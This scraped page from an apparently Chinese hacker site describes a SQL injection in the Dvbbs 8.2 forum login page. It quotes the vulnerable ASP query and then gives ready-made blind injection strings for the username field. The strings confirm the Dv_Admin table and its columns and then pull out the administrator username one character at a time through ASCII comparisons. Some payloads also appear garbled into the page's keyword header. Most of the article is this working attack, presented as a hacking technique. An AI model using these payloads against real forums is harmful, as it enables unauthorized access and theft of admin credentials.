10 and '1'='1 where' and(select top 1 len(username) from dv_admin)<5 and '1'='1 where' and(select top 1 len(username) from dv_admin)=5 and '1'='1,入侵检测,黑客文讯,广西安全网络">
定阅RSS 繁体中文 设为首页 加入收藏
站内搜索
黑客文章 黑客下载
您所在的位置: 广西安全网络 >> 黑客文讯 >> 入侵检测 >> 正文
动网论坛Dvbbs 8.2 login_sql注入漏洞
作者:佚名 来源:本站原创 更新:2008-8-11 11:32:35  点击:
分析下洞网/”,环境架好后.找到有问题的语句:
      End If
       Else
              username=trim(Dvbbs.CheckStr(request("username")))
              If ajaxPro Then username = unescape(username)
       End If
username带入到查询语句如下:
       If ChkUserLogin(username,password,mobile,usercookies,1)=false Then
              Set chrs=Dvbbs.Execute("select Passport,IsChallenge from [Dv_User] where username='"&username&"' and IsChallenge=1")
              If chrs.eof and chrs.bof Then
                     If Not ajaxPro Then
                            Dvbbs.AddErrCode(12)
                     Else
                            strString("本论坛不存在该用户名.@@@@0")'o
                     End If
                     Exit Function
              End If
              set chrs=nothing
       End If
:
select Passport,IsChallenge from [Dv_User] where username='"&username&"' and IsChallenge=1
:
where' and (select count(*) from Dv_Admin)>0 and '1'='1 //判断是否存在表名Dv_Admin
,就会变成:
select Passport,IsChallenge from [Dv_User] where username=’ where' and (select count(*) from Dv_Admin)>0 and '1'='1 and IsChallenge=1
:
where
logins.asp用户名里填入:
where' and (select count(*) from Dv_Admin)>0 and '1'='1
.
,如果登录正常,说明,存在表单Dv_admin,
,如果出错提示,证明无此表单.
,构造语句:
where' and(select count(username) from Dv_admin)>0 and '1'='1
//判断是否存在列名username
where' and(select count(password) from Dv_admin)>0 and '1'='1
//判断是否存在列名password
where' and(select top 1 len(username) from dv_admin)>10 and '1'='1
where' and(select top 1 len(username) from dv_admin)<5 and '1'='1
where' and(select top 1 len(username) from dv_admin)=5 and '1'='1
//判断username列表值长度是否大于10,小于5,等于5
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)>100 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)<97 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)=97 and 1=1 and '1'='1
//判断username列表的第一位字母的ASCII码值是否大于100,小于97,等于97
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)>100 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)<97 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)=97 and 1=1 and '1'='1
//判断username列表的第二位字母的ASCII码值是否大于100,小于97,等于97
…….类推

转截请注明:来自 广西安全网络 Http://www.gxfa.com
在百度搜索:动网论坛Dvbbs 8.2 login_sql注入漏洞相关文章
在Google搜索:动网论坛Dvbbs 8.2 login_sql注入漏洞相关文章
在雅虎搜索:动网论坛Dvbbs 8.2 login_sql注入漏洞相关文章

数据载入中,请稍后……